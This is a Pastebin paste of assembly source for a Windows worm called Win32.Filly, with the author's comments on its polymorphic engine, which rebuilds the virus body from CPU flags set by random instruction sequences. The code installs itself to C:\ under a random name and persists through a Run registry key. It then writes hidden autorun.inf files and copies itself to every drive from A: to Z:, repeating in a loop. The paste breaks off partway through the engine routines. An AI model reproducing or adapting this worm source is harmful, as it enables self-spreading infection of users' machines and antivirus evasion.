Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;
- ;; Win32.Filly
- ;; by SPTH
- ;; February 2012
- ;;
- ;;
- ;; This is a worm which spreads via network/removable/USB drives.
- ;;
- ;; It uses a novel polymorphic engine, namely the virusbody is created
- ;; at runtime using flags. The virusbody does not exist in any encrypted
- ;; data or transformed code, but just appears as shadow of the execution of
- ;; some overlayed instruction-flow.
- ;;
- ;; Every nibble (half byte) of the virus is represented as a code which
- ;; sets or clears SF,AF,PF,CF. After the code snippet of one nibble is
- ;; executed, either LAHF or PUSHFD is used to get the flags. The flags
- ;; are saved in an allocated memory, which will be executed after
- ;; the reconstruction.
- ;;
- ;; It can use one out of 5 ways to fully determine SF,AF,PF,CF:
- ;;
- ;; 5 | 0+4 | 1+4 | 2+4 | 4+0
- ;;
- ;; where each number represents a set of instruction with different behaviour
- ;; with respect to flags:
- ;;
- ;; 0: CF:
- ;; ROL, ROR
- ;;
- ;; 1: AF, CF (PF, SF undefined):
- ;; AAA, AAS
- ;;
- ;; 2: CF PF (AF undefined, SF undefined);
- ;; SHL, SHR, SAL, SAR
- ;;
- ;; 3: PF SF (AF undefined, CF undefined):
- ;; AND, XOR, TEST
- ;;
- ;; 4: AF PF SF:
- ;; DEC, INC
- ;;
- ;; 5: AF CF PF SF:
- ;; ADD, CMP, NEG, SUB
- ;;
- ;; All sets can be used as functional trash code, prior to the actual determining
- ;; instruction sets. Registers and type (Instr Reg1, Reg2 or Instr Reg1, NNNN) are
- ;; random in that case.
- ;;
- ;; For finding the correct composition of instruction and register values to get
- ;; the the desired flag combination, I use a semi-deterministic algorithm. This means
- ;; i give correct flag dependences, the the code goes in a loop searching randomly
- ;; for correct parameters - for each nibble of the code. In some cases, a desired
- ;; combination of flags can not be created with the choosen instruction - in that case
- ;; after 42 loops, an infinite-loop handler is called, which exits the loops and choses
- ;; another instruction to create the flag-combination. This procedere is unexpectedly
- ;; fast - in fact, even there are ~6100 random loops running, there is no noticeable
- ;; delay.
- ;;
- ;; The encrypted code-flow has a different size each generation. As its boring to code a
- ;; file size adjustment tool, I keep a constant filesize with following statistical
- ;; argument: In a set of 20 different files, I looked at the maximum size the used
- ;; code section: 175713, 175477, 175261, 175262, 177070, 176241, 177109, 175749, 172610,
- ;; 176471, 174657, 174682, 175275, 176186, 176004, 174359, 173549, 174638, 174684, 173893 bytes.
- ;; Average of the set: 175269 +/- 1148.65.
- ;; For padding, I used average + 7 sigma = 183'312. The probability that something
- ;; goes wrong is 1 / (390'682'215'445), while the probability that everything goes
- ;; right is 99.999999999744% - this is enough for my taste :)
- ;;
- ;; Now here you can see a generated code:
- ;;
- ;; 004020B5 . B8 A0AC599E MOV EAX,9E59ACA0
- ;; 004020BA . C1E0 82 SHL EAX,82
- ;; 004020BD . B8 A5AF1B60 MOV EAX,601BAFA5
- ;; 004020C2 . 48 DEC EAX
- ;; 004020C3 . 9C PUSHFD
- ;; 004020C4 . 5A POP EDX
- ;; 004020C5 . 8817 MOV BYTE PTR DS:[EDI],DL
- ;; 004020C7 . 47 INC EDI
- ;; 004020C8 . B9 CBC5FCAC MOV ECX,ACFCC5CB
- ;; 004020CD . B8 550D859F MOV EAX,9F850D55
- ;; 004020D2 . 29C1 SUB ECX,EAX
- ;; 004020D4 . 9C PUSHFD
- ;; 004020D5 . 58 POP EAX
- ;; 004020D6 . AA STOS BYTE PTR ES:[EDI]
- ;; 004020D7 . B8 CB5183AB MOV EAX,AB8351CB
- ;; 004020DC . B9 EEF33292 MOV ECX,9232F3EE
- ;; 004020E1 . D3C0 ROL EAX,CL
- ;; 004020E3 . BA 8B47E2EB MOV EDX,EBE2478B
- ;; 004020E8 . 4A DEC EDX
- ;; 004020E9 . 9F LAHF
- ;; 004020EA . 8827 MOV BYTE PTR DS:[EDI],AH
- ;; 004020EC . 47 INC EDI
- ;; 004020ED . BA F065255E MOV EDX,5E2565F0
- ;; 004020F2 . B9 A5D9FA8B MOV ECX,8BFAD9A5
- ;; 004020F7 . 01CA ADD EDX,ECX
- ;; 004020F9 . B8 8E0FB438 MOV EAX,38B40F8E
- ;; 004020FE . 3F AAS
- ;; 004020FF . BB 6B6AF3EA MOV EBX,EAF36A6B
- ;; 00402104 . B8 7B9CB043 MOV EAX,43B09C7B
- ;; 00402109 . 01C3 ADD EBX,EAX
- ;; 0040210B . 9F LAHF
- ;; 0040210C . 8827 MOV BYTE PTR DS:[EDI],AH
- ;; 0040210E . 47 INC EDI
- ;;
- ;; This code generates 2 bytes of the virus code.
- ;;
- ;;
- ;;
- ;; Thanks alot to hh86 for telling me about this non-standard code
- ;; representation she is working on, and for pointing out that LAHF
- ;; is actually *very* useful :)
- ;;
- ;; This is the second member of a new series of self-replicators:
- ;; - Win32.Kitti (overlapping code engine; in valhalla#1)
- ;; - Win32.Filly (code as shadow of overlayed instruction flow; in valhalla#2)
- ;;
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- include 'E:\Programme\FASM\INCLUDE\win32ax.inc'
- .data
- hMyFileName dd 0x0
- hFileHandle dd 0x0
- hMapHandle dd 0x0
- hMapViewAddress dd 0x0
- hFileCodeStart dd 0x0
- RandomNumber dd 0x0
- SpaceForHDC: dd 0x0 ; should be 0x0, C:\
- RandomFileName: times 13 db 0x0
- SpaceForHDC2: dd 0x0 ; should be 0x0, X:\
- RandomFileName2:times 13 db 0x0
- stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0
- hKey dd 0x0
- stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"
- stAutoruninf: times 12 db 0x0 ; "autorun.inf"
- stAutoRunContent: times 52 db 0x0
- hCreateFileAR dd 0x0
- hCreateFileMappingAR dd 0x0
- constFileSize EQU 185344
- constCodeStart EQU 0x400
- FlagMask db 0x0 ; S00A'0P1C
- MaskNibble0 EQU 0000'0001b
- MaskNibble1 EQU 0001'0001b
- MaskNibble2 EQU 0000'0101b
- MaskNibble3 EQU 1000'0100b
- MaskNibble4 EQU 1001'0100b
- MaskNibble5 EQU 1001'0101b
- MaskRandom EQU 0000'0000b ; no content - for trash
- VerifiedAddress dd 0x0
- MyStartAddresse dd 0x0
- NibbleData db 0x0
- DecryptedCode dd 0x0
- .code
- start:
- ; ###########################################################################
- ; #####
- ; ##### Preparation (copy file, get kernel, ...)
- ; #####
- StartEngine:
- call GetMyStartAddresse
- GetMyStartAddresse:
- pop eax
- sub eax, (GetMyStartAddresse-StartEngine)
- mov dword[MyStartAddresse], eax
- push 0x8007
- stdcall dword[SetErrorMode]
- stdcall dword[GetCommandLineA]
- mov dword[hMyFileName], eax
- cmp byte[eax], '"'
- jne FileNameIsFine
- inc eax
- mov dword[hMyFileName], eax
- FindFileNameLoop:
- inc eax
- cmp byte[eax], '"'
- jne FindFileNameLoop
- mov byte[eax], 0x0
- FileNameIsFine:
- stdcall dword[GetTickCount]
- mov dword[RandomNumber], eax
- xor esi, esi
- CopyFileAndRegEntryMore:
- mov ebx, 26
- mov ecx, 97
- call CreateSpecialRndNumber
- mov byte[RandomFileName+esi], dl
- inc esi
- cmp esi, 8
- jb CopyFileAndRegEntryMore
- mov eax, ".exe"
- mov dword[RandomFileName+esi], eax
- mov al, "C"
- mov byte[SpaceForHDC+1], al
- mov al, ":"
- mov byte[SpaceForHDC+2], al
- mov al, "\"
- mov byte[SpaceForHDC+3], al
- push FALSE
- push SpaceForHDC+1
- push dword[hMyFileName]
- stdcall dword[CopyFileA]
- ; #####
- ; ##### Preparation (copy file, get kernel, ...)
- ; #####
- ; ###########################################################################
- ; ###########################################################################
- ; #####
- ; ##### Open New File
- ; #####
- push 0x0
- push FILE_ATTRIBUTE_NORMAL
- push OPEN_ALWAYS
- push 0x0
- push 0x0
- push (GENERIC_READ or GENERIC_WRITE)
- push SpaceForHDC+1
- stdcall dword[CreateFileA]
- cmp eax, INVALID_HANDLE_VALUE
- je IVF_NoCreateFile
- mov dword[hFileHandle], eax
- push 0x0
- push constFileSize
- push 0x0 ; nFileSizeHigh=0 from above
- push PAGE_READWRITE
- push 0x0
- push dword[hFileHandle]
- stdcall dword[CreateFileMappingA]
- cmp eax, 0x0
- je IVF_NoCreateMap
- mov dword[hMapHandle], eax
- push constFileSize
- push 0x0
- push 0x0
- push FILE_MAP_WRITE
- push dword[hMapHandle]
- stdcall dword[MapViewOfFile]
- cmp eax, 0x0
- je IVF_NoMapView
- mov dword[hMapViewAddress], eax
- ; #####
- ; ##### Open New File
- ; #####
- ; ###########################################################################
- call DoNibbleTrafo
- ; ###########################################################################
- ; #####
- ; ##### Close New File
- ; #####
- IVF_CloseMapView:
- push dword[hMapViewAddress]
- stdcall dword[UnmapViewOfFile]
- IVF_NoMapView:
- push dword[hMapHandle]
- stdcall dword[CloseHandle]
- IVF_NoCreateMap:
- push dword[hFileHandle]
- stdcall dword[CloseHandle]
- IVF_NoCreateFile:
- ; #####
- ; ##### Close New File
- ; #####
- ; ###########################################################################
- ; invoke ExitProcess, 0
- ; ###########################################################################
- ; #####
- ; ##### Spread this kitty ;)
- ; #####
- SpreadKitty:
- ; Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
- ; One could permute it - but too lazy for doing this task atm :)
- mov eax, stKey
- mov dword[eax+0x00], "SOFT"
- mov dword[eax+0x04], "WARE"
- mov dword[eax+0x08], "\Mic"
- mov dword[eax+0x0C], "roso"
- mov dword[eax+0x10], "ft\W"
- mov dword[eax+0x14], "indo"
- mov dword[eax+0x18], "ws\C"
- mov dword[eax+0x1C], "urre"
- mov dword[eax+0x20], "ntVe"
- mov dword[eax+0x24], "rsio"
- mov dword[eax+0x28], "n\Ru"
- mov byte[eax+0x2C], "n"
- push 0x0
- push hKey
- push 0x0
- push KEY_ALL_ACCESS
- push REG_OPTION_NON_VOLATILE
- push 0x0
- push 0x0
- push stKey
- push HKEY_LOCAL_MACHINE
- stdcall dword[RegCreateKeyExA]
- push 16
- push SpaceForHDC+1
- push REG_SZ
- push 0x0
- push 0x0
- push dword[hKey]
- stdcall dword[RegSetValueExA]
- push dword[hKey]
- stdcall dword[RegCloseKey]
- xor eax, eax
- mov dword[stAutorunWithDrive], "X:\a"
- mov dword[stAutorunWithDrive+2], "\aut"
- mov dword[stAutoruninf+3], "orun"
- mov dword[stAutoruninf+7], ".inf"
- mov dword[stAutoRunContent], "[Aut"
- mov dword[stAutoRunContent+0x04], "orun"
- mov dword[stAutoRunContent+0x08], 0x530A0D5D
- mov dword[stAutoRunContent+0x0C], "hell" ; !!!!!!!
- mov dword[stAutoRunContent+0x10], "Exec"
- mov dword[stAutoRunContent+0x14], "ute="
- mov eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe
- mov dword[stAutoRunContent+0x18], eax
- mov eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe
- mov dword[stAutoRunContent+0x1C], eax
- mov dword[stAutoRunContent+0x20], ".exe"
- mov dword[stAutoRunContent+0x24], 0x73550A0D
- mov dword[stAutoRunContent+0x28], "eAut"
- mov dword[stAutoRunContent+0x2C], "opla"
- mov dword[stAutoRunContent+0x30], 0x00313D79
- ; i like that coding style, roy g biv! :))
- push 51
- push 0x0
- push 0x0
- push FILE_MAP_ALL_ACCESS
- push 0x0
- push 51
- push 0x0
- push PAGE_READWRITE
- push 0x0
- push 0x0
- push FILE_ATTRIBUTE_HIDDEN
- push OPEN_ALWAYS
- push 0x0
- push 0x0
- push (GENERIC_READ or GENERIC_WRITE)
- push stAutoruninf
- stdcall dword[CreateFileA]
- push eax
- mov dword[hCreateFileAR], eax
- stdcall dword[CreateFileMappingA]
- push eax
- mov dword[hCreateFileMappingAR], eax
- stdcall dword[MapViewOfFile]
- xor cl, cl
- mov esi, stAutoRunContent
- MakeAutoRunInfoMore:
- mov bl, byte[esi]
- mov byte[eax], bl
- inc eax
- inc esi
- inc ecx
- cmp cl, 51
- jb MakeAutoRunInfoMore
- sub eax, 51
- push dword[hCreateFileAR]
- push dword[hCreateFileMappingAR]
- push eax
- stdcall dword[UnmapViewOfFile]
- stdcall dword[CloseHandle]
- stdcall dword[CloseHandle]
- mov dword[SpaceForHDC2+1], "A:\."
- mov eax, dword[RandomFileName]
- mov dword[RandomFileName2], eax ; XXXXxxxx.exe
- mov eax, dword[RandomFileName+0x04]
- mov dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe
- mov eax, dword[RandomFileName+0x08]
- mov dword[RandomFileName2+0x08], eax ; .exe
- SpreadKittyAnotherTime:
- mov dword[SpaceForHDC2], 0x003A4100 ; 0x0, "A:", 0x0
- STKAnotherRound:
- push SpaceForHDC2+1
- stdcall dword[GetDriveTypeA]
- xor ebx, ebx ; 0 ... No Drive
- ; 1 ... Drive (without autorun.inf)
- ; 2 ... Drive (with autorun.inf)
- mov cl, '\'
- mov byte[SpaceForHDC2+3],cl
- cmp al, 0x2
- je STKWithAutoRun
- cmp al, 0x3
- je STKWithoutAutoRun
- cmp al, 0x4
- je STKWithAutoRun
- cmp al, 0x6
- je STKWithAutoRun
- jmp STKCreateEntriesForNextDrive
- STKWithAutoRun:
- push FALSE
- push stAutorunWithDrive
- push stAutoruninf
- stdcall dword[CopyFileA]
- STKWithoutAutoRun:
- push FALSE
- push SpaceForHDC2+1
- push SpaceForHDC+1
- stdcall dword[CopyFileA]
- STKCreateEntriesForNextDrive:
- xor eax, eax
- mov al, byte[SpaceForHDC2+1]
- cmp al, "Z"
- je SpreadThisKittyEnd
- inc al
- mov byte[SpaceForHDC2+1], al ; next drive
- mov byte[stAutorunWithDrive], al ; next drive
- mov byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0
- jmp STKAnotherRound
- SpreadThisKittyEnd:
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and eax, (0x8000 - 1) ; 0-32 sec
- push eax
- stdcall dword[Sleep]
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and eax, (0x100-1)
- jnz SpreadKittyAnotherTime
- jmp SpreadKittyAnotherTime
- ; #####
- ; ##### Spread this kitty ;)
- ; #####
- ; ###########################################################################
- DoNibbleTrafo:
- mov edi, dword[hMapViewAddress]
- add edi, constCodeStart
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;
- ;; First create the VirtualAlloc code and save the value
- ;;
- virtual at 0 ; cool FASM feature:
- ; this compiles code virtually
- ; and one can use variables to access it
- ; ideal for our purpose :)
- invoke VirtualAlloc, 0x0, 100'000, 0x1000, PAGE_EXECUTE_READWRITE
- mov dword[DecryptedCode], eax
- xchg edi, eax
- mov edi, edi ; just for padding...
- ; uuhh, do we know this instruction? ;)
- load iVirtualCodeA dword from 0
- load iVirtualCodeB dword from 4
- load iVirtualCodeC dword from 8
- load iVirtualCodeD dword from 12
- load iVirtualCodeE dword from 16
- load iVirtualCodeF dword from 20
- load iVirtualCodeG dword from 24 ; i hate "word", 2byte data-types.
- end virtual ; they are just unelegant...
- mov dword[edi+00], iVirtualCodeA
- mov dword[edi+04], iVirtualCodeB
- mov dword[edi+08], iVirtualCodeC
- mov dword[edi+12], iVirtualCodeD
- mov dword[edi+16], iVirtualCodeE
- mov dword[edi+20], iVirtualCodeF
- mov dword[edi+24], iVirtualCodeG
- add edi, 26
- mov dword[VerifiedAddress], edi
- ;;
- ;; First create the VirtualAlloc code and save the value
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;
- ;; Now create the whole representation of the code in form of flags
- ;; of some other random code ( main engine )
- ;;
- mov esi, dword[MyStartAddresse]
- CreateCodeForAllBytes:
- mov al, byte[esi]
- mov byte[NibbleData], al
- and byte[NibbleData], 0000'1111b
- push esi
- call CreateCodeForNibble
- pop esi
- mov al, byte[esi]
- shr al, 4 ; get the second nibble of this byte
- mov byte[NibbleData], al
- and byte[NibbleData], 0000'1111b
- push esi
- call CreateCodeForNibble
- pop esi
- inc esi
- mov ebx, dword[MyStartAddresse]
- add ebx, (WholeCodeEnd-StartEngine)
- cmp esi, ebx
- jne CreateCodeForAllBytes
- ;;
- ;; Now create the whole representation of the code in form of flags
- ;; of some other random code ( main engine )
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;
- ;; In the end, rearrange the information to extract the viral code
- ;;
- virtual at 0
- mov ecx, dword[DecryptedCode]
- mov edx, ecx
- ReorganizeMore:
- mov bh, byte[ecx]
- inc ecx
- push 0 ; Some PIC workaround :)
- jmp Decrypt
- ReorganizeFirstNibbleBack:
- and al, 0000'1111b
- push eax
- mov bh, byte[ecx]
- inc ecx
- push 1
- jmp Decrypt
- ReorganizeSecondNibbleBack:
- and al, 0000'1111b
- shl al, 4
- pop ebx
- add al, bl
- mov byte[edx], al
- inc edx
- mov eax, dword[DecryptedCode]
- add eax, (WholeCodeEnd-StartEngine)
- cmp edx, eax
- jne ReorganizeMore
- jmp dword[DecryptedCode]
- Decrypt:
- ; in: bh=S00A'0P1C
- ; out: al=0000'SAPC
- mov al, bh ; al=S00A'0P1C
- and al, 0000'0001b ; al=0000'000C
- shr bh, 1 ; bh=0S00'A0P1
- push ebx
- and bh, 0000'0010b ; bh=0000'00P0
- add al, bh ; al=0000'00PC
- pop ebx ; bh=0S00'A0P1
- shr bh, 1 ; bh=00S0'0A0P
- push ebx
- and bh, 0000'0100b ; bh=0000'0A00
- add al, bh ; al=0000'0APC
- pop ebx ; bh=00S0'0A0P
- shr bh, 2 ; bh=0000'S00A
- and bh, 0000'1000b ; bh=0000'S000
- add al, bh ; al=0000'SAPC
- pop ebx
- test ebx, ebx
- jz ReorganizeFirstNibbleBack
- jmp ReorganizeSecondNibbleBack
- load cVirtualCodeA dword from 0 ; Most likely there is a more elegant
- load cVirtualCodeB dword from 4 ; way to handle this requirement
- load cVirtualCodeC dword from 8 ; using a FASM macro.
- load cVirtualCodeD dword from 12
- load cVirtualCodeE dword from 16 ; But i couldnt find one - tell me
- load cVirtualCodeF dword from 20 ; if you know a way to copy data
- load cVirtualCodeG dword from 24 ; to a memory addresse from a
- load cVirtualCodeH dword from 28 ; virtual compilation space.
- load cVirtualCodeI dword from 32
- load cVirtualCodeJ dword from 36
- load cVirtualCodeK dword from 40
- load cVirtualCodeL dword from 44
- load cVirtualCodeM dword from 48
- load cVirtualCodeN dword from 52
- load cVirtualCodeO dword from 56
- load cVirtualCodeP dword from 60
- load cVirtualCodeQ dword from 64
- load cVirtualCodeR dword from 68
- load cVirtualCodeS dword from 72
- load cVirtualCodeT dword from 76
- load cVirtualCodeU dword from 80
- load cVirtualCodeV dword from 84
- load cVirtualCodeW dword from 88
- load cVirtualCodeX byte from 92
- end virtual
- mov dword[edi+00], cVirtualCodeA
- mov dword[edi+04], cVirtualCodeB
- mov dword[edi+08], cVirtualCodeC
- mov dword[edi+12], cVirtualCodeD
- mov dword[edi+16], cVirtualCodeE
- mov dword[edi+20], cVirtualCodeF
- mov dword[edi+24], cVirtualCodeG
- mov dword[edi+28], cVirtualCodeH
- mov dword[edi+32], cVirtualCodeI
- mov dword[edi+36], cVirtualCodeJ
- mov dword[edi+40], cVirtualCodeK
- mov dword[edi+44], cVirtualCodeL
- mov dword[edi+48], cVirtualCodeM
- mov dword[edi+52], cVirtualCodeN
- mov dword[edi+56], cVirtualCodeO
- mov dword[edi+60], cVirtualCodeP
- mov dword[edi+64], cVirtualCodeQ
- mov dword[edi+68], cVirtualCodeR
- mov dword[edi+72], cVirtualCodeS
- mov dword[edi+76], cVirtualCodeT
- mov dword[edi+80], cVirtualCodeU
- mov dword[edi+84], cVirtualCodeV
- mov dword[edi+88], cVirtualCodeW
- mov byte[edi+92], cVirtualCodeX
- ;;
- ;; In the end, rearrange the information to extract the viral code
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ret
- CreateCodeForNibble:
- ; 5 possible algos:
- ; -> 5
- ; -> 0+4 | 1+4 |2+4
- ; -> 4+0
- CreateCodeBeginTrash:
- call GetRandomNumber
- test byte[RandomNumber+1], 0000'0011b
- jnz DoNibbleFindAlgo_NoTrashBegin
- mov byte[FlagMask], MaskRandom
- mov bl, byte[RandomNumber+2]
- call GetRandomNumber
- mov al, byte[RandomNumber]
- and al, 0000'0111b
- jz GC_Trash_Not0
- call GenerateNibble0
- jmp CreateCodeBeginTrash
- GC_Trash_Not0:
- dec al
- jz GC_Trash_Not1
- call GenerateNibble1
- jmp CreateCodeBeginTrash
- GC_Trash_Not1:
- dec al
- jz GC_Trash_Not2
- call GenerateNibble2
- jmp CreateCodeBeginTrash
- GC_Trash_Not2:
- dec al
- jz GC_Trash_Not3
- call GenerateNibble3
- jmp CreateCodeBeginTrash
- GC_Trash_Not3:
- dec al
- jz GC_Trash_Not4
- call GenerateNibble4
- jmp CreateCodeBeginTrash
- GC_Trash_Not4:
- dec al
- jz CreateCodeBeginTrash
- call GenerateNibble5
- jmp CreateCodeBeginTrash
- DoNibbleFindAlgo_NoTrashBegin:
- DoNibbleNewRnd:
- call GetRandomNumber
- mov al, byte[RandomNumber]
- and al, 0000'0111b
- cmp al, 4
- ja DoNibbleNewRnd
- test al, -1
- jnz DoNibbleFindAlgoNot5
- ; -> 5
- mov byte[FlagMask], MaskNibble5
- mov bl, byte[NibbleData]
- call GenerateNibble5
- jmp DoNibbleFinalize
- DoNibbleFindAlgoNot5:
- dec al
- jnz DoNibbleFindAlgoNot04
- ; -> 0+4
- mov byte[FlagMask], MaskNibble0
- mov bl, byte[NibbleData]
- call GenerateNibble0
- mov byte[FlagMask], MaskNibble4
- mov bl, byte[NibbleData]
- call GenerateNibble4
- jmp DoNibbleFinalize
- DoNibbleFindAlgoNot04:
- dec al
- jnz DoNibbleFindAlgoNot14
- ; -> 1+4
- mov byte[FlagMask], MaskNibble5 ; need to clear AF first,
- mov bl, byte[RandomNumber+3] ; otherwise AAA/AAS influence CF
- and bl, 0000'1011b ; clear AF
- call GenerateNibble5
- mov byte[FlagMask], MaskNibble1
- mov bl, byte[NibbleData]
- call GenerateNibble1
- mov byte[FlagMask], MaskNibble4
- mov bl, byte[NibbleData]
- call GenerateNibble4
- jmp DoNibbleFinalize
- DoNibbleFindAlgoNot14:
- dec al
- jnz DoNibbleFindAlgoNot24
- ; -> 2+4
- mov byte[FlagMask], MaskNibble2
- mov bl, byte[NibbleData]
- call GenerateNibble2
- mov byte[FlagMask], MaskNibble4
- mov bl, byte[NibbleData]
- call GenerateNibble4
- jmp DoNibbleFinalize
- DoNibbleFindAlgoNot24:
- ; -> 4+0
- mov byte[FlagMask], MaskNibble4
- mov bl, byte[NibbleData]
- call GenerateNibble4
- mov byte[FlagMask], MaskNibble0
- mov bl, byte[NibbleData]
- call GenerateNibble0
- ; jmp DoNibbleFinalize
- DoNibbleFinalize:
- call GetRandomNumber
- test byte[RandomNumber], 0001'0000b ; LAHF or PUSHFD+POP?
- jnz DoNF_PUSHFD
- mov byte[edi], 0x9F ; LAHF
- inc edi
- test byte[RandomNumber], 0000'1000b
- jnz DoNibbleFin_AH
- test byte[RandomNumber], 0000'0010b
- jnz DoNibbleFinAL_2
- mov byte[edi+00], 0x88
- mov byte[edi+01], 0xE0 ; mov al, ah
- jmp DoNibbleFinAL_2_X
- DoNibbleFinAL_2:
- mov byte[edi+00], 0x86
- mov byte[edi+01], 0xC4 ; xchg ah, al
- test byte[RandomNumber], 0000'0100b
- jnz DoNibbleFinAL_2_X
- mov byte[edi+01], 0xE0 ; xchg al, ah
- DoNibbleFinAL_2_X:
- mov byte[edi+02], 0xAA ; stos
- add edi, 3
- jmp DoNibbleEnd
- DoNibbleFin_AH:
- mov byte[edi+00], 0x88
- mov byte[edi+01], 0x27 ; mov byte[edi], ah
- mov byte[edi+02], 0x47 ; inc edi (thx hh86 :D)
- add edi, 3
- jmp DoNibbleEnd
- DoNF_PUSHFD:
- mov byte[edi], 0x9C ; pushfd
- inc edi
- test byte[RandomNumber], 0100'0000b
- jnz DoNF_PUSHFD_AL
- mov al, byte[RandomNumber]
- and al, 0000'0011b
- add al, 0x58
- mov byte[edi+00], al ; pop e(a|c|d|b)x
- mov byte[edi+01], 0x88
- and al, 0000'0011b
- shl al, 3
- or al, 0000'0111b
- mov byte[edi+02], al ; mov byte[edi], (a|c|d|b)l
- mov byte[edi+03], 0x47 ; inc edi (thx hh86 :D)
- add edi, 4
- jmp DoNibbleEnd
- DoNF_PUSHFD_AL:
- mov byte[edi+00], 0x58 ; pop eax
- mov byte[edi+01], 0xAA ; stos
- add edi, 2
- ; jmp DoNibbleEnd
- DoNibbleEnd:
- mov dword[VerifiedAddress], edi
- ret
- ; ###########################################################################
- ; #####
- ; ##### Generate Nibbles
- ; #####
- ; ###########################################################################
- ; ##### Nibble 0: CF - (ROL, ROR)
- GenerateNibble0:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- ; ebp:
- ; 0 ... rol Reg, 1
- ; 1 ... rol Reg, cl
- ; 3 ... ror Reg, cl
- call InformationToFlagByte ; bh=flag byte
- GN0_GetTypeAgain:
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0011b
- cmp ebp, 2
- je GN0_GetTypeAgain
- push 0 ; loop counter
- GN0_CF_loop: ; rol Reg, 1
- pop ecx
- inc ecx
- push ecx
- cmp ecx, 0x2A
- ja GN_PossibleInfinitLoop
- GN0_CF_GetAnotherCL:
- call GetRandomNumber
- mov ecx, dword[RandomNumber]
- test ecx, 0001'1111b ; shiftcount must not be zero
- jz GN0_CF_GetAnotherCL
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- cmp ebp, 0
- jne GN0_CF_loop_ROLN
- rol eax, 1
- jmp GN0_CF_loop_LAHF
- GN0_CF_loop_ROLN: ; rol Reg, N/cl
- cmp ebp, 1
- jne GN0_CF_loop_RORN
- rol eax, cl
- jmp GN0_CF_loop_LAHF
- GN0_CF_loop_RORN: ; ror Reg, N/cl
- ror eax, cl
- ; jmp GN0_CF_loop_LAHF
- GN0_CF_loop_LAHF:
- lahf
- pop edx
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN0_CF_loop
- pop eax ; remove counter
- GN0_GetDifferentRegister:
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and al, 0000'0011b
- cmp al, 0000'0001b
- je GN0_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
- or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
- mov byte[edi], al
- inc edi
- mov dword[edi], edx
- add edi, 4
- push ebp
- and ebp, 0000'0001b
- pop ebp
- jnz GN0_CFN ; is it "rotate Reg, 1" ?
- mov byte[edi], 0xD1
- inc edi
- and al, 0000'0011b
- cmp ebp, 0
- jne GN0_CF_CreateCode_ROR
- add al, 0xC0
- jmp GN0_CF_CreateCode_done
- GN0_CF_CreateCode_ROR:
- add al, 0xC8
- GN0_CF_CreateCode_done:
- mov byte[edi], al
- inc edi
- jmp GN0_CF_End
- GN0_CFN:
- mov byte[edi], 0xB9
- inc edi
- mov dword[edi], ecx
- add edi, 4
- mov byte[edi], 0xD3
- inc edi
- and al, 0000'0011b
- and ebp, 0000'0010b
- jnz GN0_CFN_ROR
- add al, 0xC0
- jmp GN0_CF_Write_End
- GN0_CFN_ROR:
- add al, 0xC8
- GN0_CF_Write_End:
- mov byte[edi], al
- inc edi
- GN0_CF_End:
- mov dword[VerifiedAddress], edi
- ret
- ; ##### Nibble 0: CF - (ROL, ROR)
- ; ###########################################################################
- ; ###########################################################################
- ; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
- GenerateNibble1:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- call InformationToFlagByte ; bh=flag byte
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0001b
- push 0 ; loop counter
- GN1_Loop:
- pop eax
- inc eax
- push eax
- cmp eax, 0x2A
- ja GN_PossibleInfinitLoop
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- cmp ebp, 0 ; this instruction clears AF. Thats important because
- jne GN1_Aaa ; AAA and AAS depend on AF, and influence CF depending on it.
- aas
- jmp GN1_LAHF
- GN1_Aaa:
- aaa
- jmp GN1_LAHF
- GN1_LAHF:
- pop edx
- lahf
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN1_Loop
- pop eax ; remove counter
- mov byte[edi], 0xB8
- inc edi
- mov dword[edi], edx ; mov Reg1, NUMBER
- add edi, 4
- cmp ebp, 0
- jne GN1_WriteAaa
- mov byte[edi], 0x3F
- inc edi
- jmp GN1_Fin
- GN1_WriteAaa:
- mov byte[edi], 0x37
- inc edi
- GN1_Fin:
- mov dword[VerifiedAddress], edi
- ret
- ; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
- ; ###########################################################################
- ; ###########################################################################
- ; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
- GenerateNibble2:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- ; ebp:
- ; 0 ... shl Reg, 1
- ; 1 ... shl Reg, N/cl
- ; 4 ... sal Reg, 1
- ; 5 ... sal Reg, N/cl
- ; 7 ... sar Reg, N/cl
- call InformationToFlagByte ; bh=flag byte
- GN2_GetTypeAgain:
- call GetRandomNumber
